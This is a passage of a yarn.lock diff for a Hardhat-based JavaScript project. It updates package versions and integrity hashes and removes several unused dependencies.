sha512-tzN8e4TX8+kkxGPK8D5u0FNmjPUjw3lwC9lSLxxoB/+GtsJG91CO8bSWy73APlgAZzZbXEYZJuxjkHH2w+Ezhw== dependencies: asynckit "^0.4.0" combined-stream "^1.0.8" @@ -2197,17 +2087,6 @@ fp-ts@^1.0.0: resolved "https://registry.yarnpkg.com/fp-ts/-/fp-ts-1.19.5.tgz#3da865e585dfa1fdfd51785417357ac50afc520a" integrity sha512-wDNqTimnzs8QqpldiId9OavWK2NptormjXnRJTQecNjzwfyp6P/8s/zG8e4h3ja3oqkKaY72UlTjQYt/1yXf9A== -fs-extra@^0.30.0: - version "0.30.0" - resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-0.30.0.tgz#f233ffcc08d4da7d432daa449776989db1df93f0" - integrity sha1-8jP/zAjU2n1DLapEl3aYnbHfk/A= - dependencies: - graceful-fs "^4.1.2" - jsonfile "^2.1.0" - klaw "^1.0.0" - path-is-absolute "^1.0.0" - rimraf "^2.2.8" - fs-extra@^7.0.0, fs-extra@^7.0.1: version "7.0.1" resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-7.0.1.tgz#4f189c44aa123b895f722804f55ea23eadc348e9" @@ -2220,22 +2099,22 @@ fs-extra@^7.0.0, fs-extra@^7.0.1: fs.realpath@^1.0.0: version "1.0.0" resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f" - integrity sha1-FQStJSMVjKpA20onh8sBQRmU6k8= + integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw== fsevents@~2.3.2: - version "2.3.2" - resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a" - integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA== + version "2.3.3" + resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.3.tgz#cac6407785d03675a2a5e1a5305c697b347d90d6" + integrity sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw== -function-bind@^1.1.1: - version "1.1.1" - resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d" - integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A== +function-bind@^1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.2.tgz#2c02d864d97f3ea6c8830c464cbd11ab6eab7a1c" + integrity sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA== functional-red-black-tree@^1.0.1, functional-red-black-tree@~1.0.1: version "1.0.1" resolved "https://registry.yarnpkg.com/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz#1b0ab3bd553b2a0d6399d29c0e3ea0b252078327" - integrity sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc= + integrity sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g== ganache@7.4.3: version "7.4.3" @@ -2259,24 +2138,31 @@ get-caller-file@^2.0.5: resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e" integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg== -get-func-name@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/get-func-name/-/get-func-name-2.0.0.tgz#ead774abee72e20409433a066366023dd6887a41" - integrity sha1-6td0q+5y4gQJQzoGY2YCPdaIekE= - -get-intrinsic@^1.0.2: - version "1.1.1" - resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.1.1.tgz#15f59f376f855c446963948f0d24cd3637b4abc6" - integrity sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q== - dependencies: - function-bind "^1.1.1" - has "^1.0.3" - has-symbols "^1.0.1" +get-func-name@^2.0.1, get-func-name@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/get-func-name/-/get-func-name-2.0.2.tgz#0d7cf20cd13fda808669ffa88f4ffc7a3943fc41" + integrity sha512-8vXOvuE167CtIc3OyItco7N/dpRtBbYOsPsXCz7X/PMnlGjYjSGuZJgM1Y7mmew7BKf9BqvLX2tnOVy1BBUsxQ== + +get-intrinsic@^1.2.4, get-intrinsic@^1.2.5: + version "1.2.6" + resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.2.6.tgz#43dd3dd0e7b49b82b2dfcad10dc824bf7fc265d5" + integrity sha512-qxsEs+9A+u85HhllWJJFicJfPDhRmjzoYdl64aMWW9yRIJmSyxdn8IEkuIM530/7T+lv0TIHd8L6Q/ra0tEoeA== + dependencies: + call-bind-apply-helpers "^1.0.1" + dunder-proto "^1.0.0" + es-define-property "^1.0.1" + es-errors "^1.3.0" + es-object-atoms "^1.0.0" + function-bind "^1.1.2" + gopd "^1.2.0" + has-symbols "^1.1.0" + hasown "^2.0.2" + math-intrinsics "^1.0.0" getpass@^0.1.1: version "0.1.7" resolved "https://registry.yarnpkg.com/getpass/-/getpass-0.1.7.tgz#5eff8e3e684d569ae4cb2b1282604e8ba62149fa" - integrity sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo= + integrity sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng== dependencies: assert-plus "^1.0.0" @@ -2299,27 +2185,43 @@ glob@7.1.7: once "^1.3.0" path-is-absolute "^1.0.0" -glob@7.2.0, glob@^7.1.3, glob@^7.1.6: - version "7.2.0" - resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.0.tgz#d15535af7732e02e948f4c41628bd910293f6023" - integrity sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q== +glob@^7.1.6: + version "7.2.3" + resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b" + integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q== dependencies: fs.realpath "^1.0.0" inflight "^1.0.4" inherits "2" - minimatch "^3.0.4" + minimatch "^3.1.1" once "^1.3.0" path-is-absolute "^1.0.0" -graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.1.9: - version "4.2.8" - resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.8.tgz#e412b8d33f5e006593cbd3cee6df9f2cebbe802a" - integrity sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg== +glob@^8.1.0: + version "8.1.0" + resolved "https://registry.yarnpkg.com/glob/-/glob-8.1.0.tgz#d388f656593ef708ee3e34640fdfb99a9fd1c33e" + integrity sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ== + dependencies: + fs.realpath "^1.0.0" + inflight "^1.0.4" + inherits "2" + minimatch "^5.0.1" + once "^1.3.0" + +gopd@^1.0.1, gopd@^1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.2.0.tgz#89f56b8217bdbc8802bd299df6d7f1081d7e51a1" + integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg== + +graceful-fs@^4.1.2, graceful-fs@^4.1.6: + version "4.2.11" + resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.11.tgz#4183e4e8bf08bb6e05bbb2f7d2e0c8f712ca40e3" + integrity sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ== har-schema@^2.0.0: version "2.0.0" resolved "https://registry.yarnpkg.com/har-schema/-/har-schema-2.0.0.tgz#a94c2224ebcac04782a0d9035521f24735b7ec92" - integrity sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI= + integrity sha512-Oqluz6zhGX8cyRaTQlFMPw80bSJVG2x/cFb8ZPhUILGgHka9SsokCCOQgpveePerqidZOrT14ipqfJb7ILcW5Q== har-validator@~5.1.3: version "5.1.5" @@ -2340,56 +2242,50 @@ hardhat-waffle@^0.0.1-security: integrity sha512-r/rQUfoXmWm2fHUB3lQ3nXeazX0ZPLMOfz3dlX3NdA3pd4MIpDWKmOCL9OOLi5h9ws9gzBs7SleGiEnQVO547A== hardhat@^2.6.0: - version "2.13.0" - resolved "https://registry.yarnpkg.com/hardhat/-/hardhat-2.13.0.tgz#d52a0ec9b733a651687e5b1c1b0ee9a11a30f3d0" - integrity sha512-ZlzBOLML1QGlm6JWyVAG8lVTEAoOaVm1in/RU2zoGAnYEoD1Rp4T+ZMvrLNhHaaeS9hfjJ1gJUBfiDr4cx+htQ== + version "2.22.17" + resolved "https://registry.yarnpkg.com/hardhat/-/hardhat-2.22.17.tgz#96036bbe6bad8eb6a6b65c54dc5fbc1324541612" + integrity sha512-tDlI475ccz4d/dajnADUTRc1OJ3H8fpP9sWhXhBPpYsQOg8JHq5xrDimo53UhWPl7KJmAeDCm1bFG74xvpGRpg== dependencies: "@ethersproject/abi" "^5.1.2" "@metamask/eth-sig-util" "^4.0.0" - "@nomicfoundation/ethereumjs-block" "^4.0.0" - "@nomicfoundation/ethereumjs-blockchain" "^6.0.0" - "@nomicfoundation/ethereumjs-common" "^3.0.0" - "@nomicfoundation/ethereumjs-evm" "^1.0.0" - "@nomicfoundation/ethereumjs-rlp" "^4.0.0" - "@nomicfoundation/ethereumjs-statemanager" "^1.0.0" - "@nomicfoundation/ethereumjs-trie" "^5.0.0" - "@nomicfoundation/ethereumjs-tx" "^4.0.0" - "@nomicfoundation/ethereumjs-util" "^8.0.0" - "@nomicfoundation/ethereumjs-vm" "^6.0.0" + "@nomicfoundation/edr" "^0.6.5" + "@nomicfoundation/ethereumjs-common" "4.0.4" + "@nomicfoundation/ethereumjs-tx" "5.0.4" + "@nomicfoundation/ethereumjs-util" "9.0.4" "@nomicfoundation/solidity-analyzer" "^0.1.0" "@sentry/node" "^5.18.1" "@types/bn.js" "^5.1.0" "@types/lru-cache" "^5.1.0" - abort-controller "^3.0.0" adm-zip "^0.4.16" aggregate-error "^3.0.0" ansi-escapes "^4.3.0" - chalk "^2.4.2" - chokidar "^3.4.0" + boxen "^5.1.2" + chokidar "^4.0.0" ci-info "^2.0.0" debug "^4.1.1" enquirer "^2.3.0" env-paths "^2.2.0" ethereum-cryptography "^1.0.3" ethereumjs-abi "^0.6.8" - find-up "^2.1.0" + find-up "^5.0.0" fp-ts "1.19.3" fs-extra "^7.0.1" - glob "7.2.0" immutable "^4.0.0-rc.12" io-ts "1.10.4" + json-stream-stringify "^3.1.4" keccak "^3.0.2" lodash "^4.17.11" mnemonist "^0.38.0" mocha "^10.0.0" p-map "^4.0.0" - qs "^6.7.0" + picocolors "^1.1.0" raw-body "^2.4.1" resolve "1.17.0" semver "^6.3.0" - solc "0.7.3" + solc "0.8.26" source-map-support "^0.5.13" stacktrace-parser "^0.1.10" + tinyglobby "^0.2.6" tsort "0.0.1" undici "^5.14.0" uuid "^8.3.2" @@ -2398,24 +2294,24 @@ hardhat@^2.6.0: has-flag@^3.0.0: version "3.0.0" resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd" - integrity sha1-tdRU3CGZriJWmfNGfloH87lVuv0= + integrity sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw== has-flag@^4.0.0: version "4.0.0" resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b" integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ== -has-symbols@^1.0.1: +has-property-descriptors@^1.0.2: version "1.0.2" - resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.2.tgz#165d3070c00309752a1236a479331e3ac56f1423" - integrity sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw== - -has@^1.0.3: - version "1.0.3" - resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796" - integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw== + resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854" + integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg== dependencies: - function-bind "^1.1.1" + es-define-property "^1.0.0" + +has-symbols@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.1.0.tgz#fc9c6a783a084951d0b971fe1018de813707a338" + integrity sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ== hash-base@^3.0.0: version "3.1.0" @@ -2434,7 +2330,14 @@ hash.js@1.1.7, hash.js@^1.0.0, hash.js@^1.0.3, hash.js@^1.1.7: inherits "^2.0.3" minimalistic-assert "^1.0.1" -he@1.2.0: +hasown@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz#003eaf91be7adc372e84ec59dc37252cedb80003" + integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ== + dependencies: + function-bind "^1.1.2" + +he@^1.2.0: version "1.2.0" resolved "https://registry.yarnpkg.com/he/-/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f" integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw== @@ -2442,7 +2345,7 @@ he@1.2.0: hmac-drbg@^1.0.1: version "1.0.1" resolved "https://registry.yarnpkg.com/hmac-drbg/-/hmac-drbg-1.0.1.tgz#d2745701025a6c775a6c545793ed502fc0c649a1" - integrity sha1-0nRXAQJabHdabFRXk+1QL8DGSaE= + integrity sha512-Tti3gMqLdZfhOQY1Mzf/AanLiqh1WTiJgEj26ZuYQ9fbkLomzGchCws4FyrSd4VkpBfiNhaE1On+lOz894jvXg== dependencies: hash.js "^1.0.3" minimalistic-assert "^1.0.0" @@ -2453,30 +2356,30 @@ hosted-git-info@^2.6.0: resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.9.tgz#dffc0bf9a21c02209090f2aa69429e1414daf3f9" integrity sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw== -http-errors@1.8.1: - version "1.8.1" - resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.8.1.tgz#7c3f28577cbc8a207388455dbd62295ed07bd68c" - integrity sha512-Kpk9Sm7NmI+RHhnj6OIWDI1d6fIoFAtFt9RLaTMRlg/8w49juAStsrBgp0Dp4OdxdVbRIeKhtCUvoi/RuAhO4g== +http-errors@2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-2.0.0.tgz#b7774a1486ef73cf7667ac9ae0858c012c57b9d3" + integrity sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ== dependencies: - depd "~1.1.2" + depd "2.0.0" inherits "2.0.4" setprototypeof "1.2.0" - statuses ">= 1.5.0 < 2" + statuses "2.0.1" toidentifier "1.0.1" http-signature@~1.2.0: version "1.2.0" resolved "https://registry.yarnpkg.com/http-signature/-/http-signature-1.2.0.tgz#9aecd925114772f3d95b65a60abb8f7c18fbace1" - integrity sha1-muzZJRFHcvPZW2WmCruPfBj7rOE= + integrity sha512-CAbnr6Rz4CYQkLYUtSNXxQPUH2gK8f3iWexVlsnMeD+GjlsQ0Xsy1cOX+mN3dtxYomRy21CiOzU8Uhw6OwncEQ== dependencies: assert-plus "^1.0.0" jsprim "^1.2.2" sshpk "^1.7.0" https-proxy-agent@^5.0.0: - version "5.0.0" - resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-5.0.0.tgz#e2a90542abb68a762e0a0850f6c9edadfd8506b2" - integrity sha512-EkYm5BcKUGiduxzSt3Eppko+PiNWNEpa4ySk9vTC6wDsQJW9rHSa+UhGNJoRYp7bz6Ht1eaRIa6QaJqO5rCFbA== + version "5.0.1" + resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz#c59ef224a04fe8b754f3db0063a25ea30d0005d6" + integrity sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA== dependencies: agent-base "6" debug "4" @@ -2501,12 +2404,12 @@ immediate@^3.2.3: immediate@~3.2.3: version "3.2.3" resolved "https://registry.yarnpkg.com/immediate/-/immediate-3.2.3.tgz#d140fa8f614659bd6541233097ddaac25cdd991c" - integrity sha1-0UD6j2FGWb1lQSMwl92qwlzdmRw= + integrity sha512-RrGCXRm/fRVqMIhqXrGEX9rRADavPiDFSoMb/k64i9XMk8uH4r/Omi5Ctierj6XzNecwDbO4WuFbDD1zmpl3Tg== immutable@^4.0.0-rc.12: - version "4.0.0" - resolved "https://registry.yarnpkg.com/immutable/-/immutable-4.0.0.tgz#b86f78de6adef3608395efb269a91462797e2c23" - integrity sha512-zIE9hX70qew5qTUjSS7wi1iwj/l7+m54KWU247nhM3v806UdGj1yDndXj+IOYxxtW9zyLI+xqFNZjTuDaLUqFw== + version "4.3.7" + resolved "https://registry.yarnpkg.com/immutable/-/immutable-4.3.7.tgz#c70145fc90d89fb02021e65c84eb0226e4e5a381" + integrity sha512-1hqclzwYwjRDFLjcFxOM5AYkkG0rpFPpr1RLPMEuGczoS7YA8gLhy8SWXYRAA/XwfEHpfo3cw5JGioS32fnMRw== indent-string@^4.0.0: version "4.0.0" @@ -2516,7 +2419,7 @@ indent-string@^4.0.0: inflight@^1.0.4: version "1.0.6" resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9" - integrity sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk= + integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA== dependencies: once "^1.3.0" wrappy "1" @@ -2548,7 +2451,7 @@ is-buffer@^2.0.5: is-extglob@^2.1.1: version "2.1.1" resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2" - integrity sha1-qIwCU1eR8C7TfHahueqXc8gz+MI= + integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ== is-fullwidth-code-point@^3.0.0: version "3.0.0" @@ -2565,7 +2468,7 @@ is-glob@^4.0.1, is-glob@~4.0.1: is-hex-prefixed@1.0.0: version "1.0.0" resolved "https://registry.yarnpkg.com/is-hex-prefixed/-/is-hex-prefixed-1.0.0.tgz#7d8d37e6ad77e5d127148913c573e082d777f554" - integrity sha1-fY035q135dEnFIkTxXPggtd39VQ= + integrity sha512-WvtOiug1VFrE9v1Cydwm+FnXd3+w9GaeVUss5W4v/SLy3UW00vP+6iNF2SdnfiBoLy4bTqVdkftNGTUeOFVsbA== is-number@^7.0.0: version "7.0.0" @@ -2580,7 +2483,7 @@ is-plain-obj@^2.1.0: is-typedarray@~1.0.0: version "1.0.0" resolved "https://registry.yarnpkg.com/is-typedarray/-/is-typedarray-1.0.0.tgz#e479c80858df0c1b11ddda6940f96011fcda4a9a" - integrity sha1-5HnICFjfDBsR3dppQPlgEfzaSpo= + integrity sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA== is-unicode-supported@^0.1.0: version "0.1.0" @@ -2595,14 +2498,14 @@ is-url@^1.2.4: isstream@~0.1.2: version "0.1.2" resolved "https://registry.yarnpkg.com/isstream/-/isstream-0.1.2.tgz#47e63f7af55afa6f92e1500e690eb8b8529c099a" - integrity sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo= + integrity sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g== js-sha3@0.8.0, js-sha3@^0.8.0: version "0.8.0" resolved "https://registry.yarnpkg.com/js-sha3/-/js-sha3-0.8.0.tgz#b9b7a5da73afad7dedd0f8c463954cbde6818840" integrity sha512-gF1cRrHhIzNfToc802P800N8PpXS+evLLXfsVpowqmAFR9uwbi89WvXg2QspOmXL8QL86J4T1EpFu+yUkwJY3Q== -js-yaml@4.1.0: +js-yaml@^4.1.0: version "4.1.0" resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-4.1.0.tgz#c1fb65f8f5017901cdd2c951864ba18458a10602" integrity sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA== @@ -2612,7 +2515,7 @@ js-yaml@4.1.0: jsbn@~0.1.0: version "0.1.1" resolved "https://registry.yarnpkg.com/jsbn/-/jsbn-0.1.1.tgz#a5e654c2e5a2deb5f201d96cefbca80c0ef2f513" - integrity sha1-peZUwuWi3rXyAdls77yoDA7y9RM= + integrity sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg== json-bigint@^1.0.0: version "1.0.0" @@ -2631,22 +2534,20 @@ json-schema@0.4.0: resolved "https://registry.yarnpkg.com/json-schema/-/json-schema-0.4.0.tgz#f7de4cf6efab838ebaeb3236474cbba5a1930ab5" integrity sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA== +json-stream-stringify@^3.1.4: + version "3.1.6" + resolved "https://registry.yarnpkg.com/json-stream-stringify/-/json-stream-stringify-3.1.6.tgz#ebe32193876fb99d4ec9f612389a8d8e2b5d54d4" + integrity sha512-x7fpwxOkbhFCaJDJ8vb1fBY3DdSa4AlITaz+HHILQJzdPMnHEFjxPwVUi1ALIbcIxDE0PNe/0i7frnY8QnBQog== + json-stringify-safe@~5.0.1: version "5.0.1" resolved "https://registry.yarnpkg.com/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz#1296a2d58fd45f19a0f6ce01d65701e2c735b6eb" - integrity sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus= - -jsonfile@^2.1.0: - version "2.4.0" - resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-2.4.0.tgz#3736a2b428b87bbda0cc83b53fa3d633a35c2ae8" - integrity sha1-NzaitCi4e72gzIO1P6PWM6NcKug= - optionalDependencies: - graceful-fs "^4.1.6" + integrity sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA== jsonfile@^4.0.0: version "4.0.0" resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-4.0.0.tgz#8771aae0799b64076b76640fca058f9c10e33ecb" - integrity sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss= + integrity sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg== optionalDependencies: graceful-fs "^4.1.6" @@ -2668,7 +2569,7 @@ keccak@3.0.1: node-addon-api "^2.0.0" node-gyp-build "^4.2.0" -keccak@3.0.2, keccak@^3.0.0: +keccak@3.0.2: version "3.0.2" resolved "https://registry.yarnpkg.com/keccak/-/keccak-3.0.2.tgz#4c2c6e8c54e04f2670ee49fa734eb9da152206e0" integrity sha512-PyKKjkH53wDMLGrvmRGSNWgmSxZOUqbnXwKL9tmgbFYA1iAYqW21kfR7mZXV0MlESiefxQQE9X9fTa3X+2MPDQ== @@ -2677,22 +2578,15 @@ keccak@3.0.2, keccak@^3.0.0: node-gyp-build "^4.2.0" readable-stream "^3.6.0" -keccak@^3.0.2: - version "3.0.3" - resolved "https://registry.yarnpkg.com/keccak/-/keccak-3.0.3.tgz#4bc35ad917be1ef54ff246f904c2bbbf9ac61276" - integrity sha512-JZrLIAJWuZxKbCilMpNz5Vj7Vtb4scDG3dMXLOsbzBmQGyjwE61BbW7bJkfKKCShXiQZt3T6sBgALRtmd+nZaQ== +keccak@^3.0.0, keccak@^3.0.2: + version "3.0.4" + resolved "https://registry.yarnpkg.com/keccak/-/keccak-3.0.4.tgz#edc09b89e633c0549da444432ecf062ffadee86d" + integrity sha512-3vKuW0jV8J3XNTzvfyicFR5qvxrSAGl7KIhvgOu5cmWwM7tZRj3fMbj/pfIf4be7aznbc+prBWGjywox/g2Y6Q== dependencies: node-addon-api "^2.0.0" node-gyp-build "^4.2.0" readable-stream "^3.6.0" -klaw@^1.0.0: - version "1.3.1" - resolved "https://registry.yarnpkg.com/klaw/-/klaw-1.3.1.tgz#4088433b46b3b1ba259d78785d8e96f73ba02439" - integrity sha1-QIhDO0azsbolnXh4XY6W9zugJDk= - optionalDependencies: - graceful-fs "^4.1.9" - level-codec@^9.0.0: version "9.0.2" resolved "https://registry.yarnpkg.com/level-codec/-/level-codec-9.0.2.tgz#fd60df8c64786a80d44e63423096ffead63d8cbc" @@ -2749,11 +2643,6 @@ level-supports@^2.0.1: resolved "https://registry.yarnpkg.com/level-supports/-/level-supports-2.1.0.tgz#9af908d853597ecd592293b2fad124375be79c5f" integrity sha512-E486g1NCjW5cF78KGPrMDRBYzPuueMZ6VBXHT6gC7A8UYWGiM14fGgp+s/L1oFfDWSPV/+SFkYCmZ0SiESkRKA== -level-supports@^4.0.0: - version "4.0.1" - resolved "https://registry.yarnpkg.com/level-supports/-/level-supports-4.0.1.tgz#431546f9d81f10ff0fea0e74533a0e875c08c66a" - integrity sha512-PbXpve8rKeNcZ9C1mUicC9auIYFyGpkV9/i6g76tLgANwWhtG2v7I4xNBUlkn3lE2/dZF3Pi0ygYGtLc4RXXdA== - level-supports@~1.0.0: version "1.0.1" resolved "https://registry.yarnpkg.com/level-supports/-/level-supports-1.0.1.tgz#2f530a596834c7301622521988e2c36bb77d122d" @@ -2761,14 +2650,6 @@ level-supports@~1.0.0: dependencies: xtend "^4.0.2" -level-transcoder@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/level-transcoder/-/level-transcoder-1.0.1.tgz#f8cef5990c4f1283d4c86d949e73631b0bc8ba9c" - integrity sha512-t7bFwFtsQeD8cl8NIoQ2iwxA0CL/9IFw7/9gAjOonH0PWTTiRfY7Hq+Ejbsxh86tXobDQ6IOiddjNYIfOBs06w== - dependencies: - buffer "^6.0.3" - module-error "^1.0.1" - level-ws@^2.0.0: version "2.0.0" resolved "https://registry.yarnpkg.com/level-ws/-/level-ws-2.0.0.tgz#207a07bcd0164a0ec5d62c304b4615c54436d339" @@ -2778,14 +2659,6 @@ level-ws@^2.0.0: readable-stream "^3.1.0" xtend "^4.0.1" -level@^8.0.0: - version "8.0.0" - resolved "https://registry.yarnpkg.com/level/-/level-8.0.0.tgz#41b4c515dabe28212a3e881b61c161ffead14394" - integrity 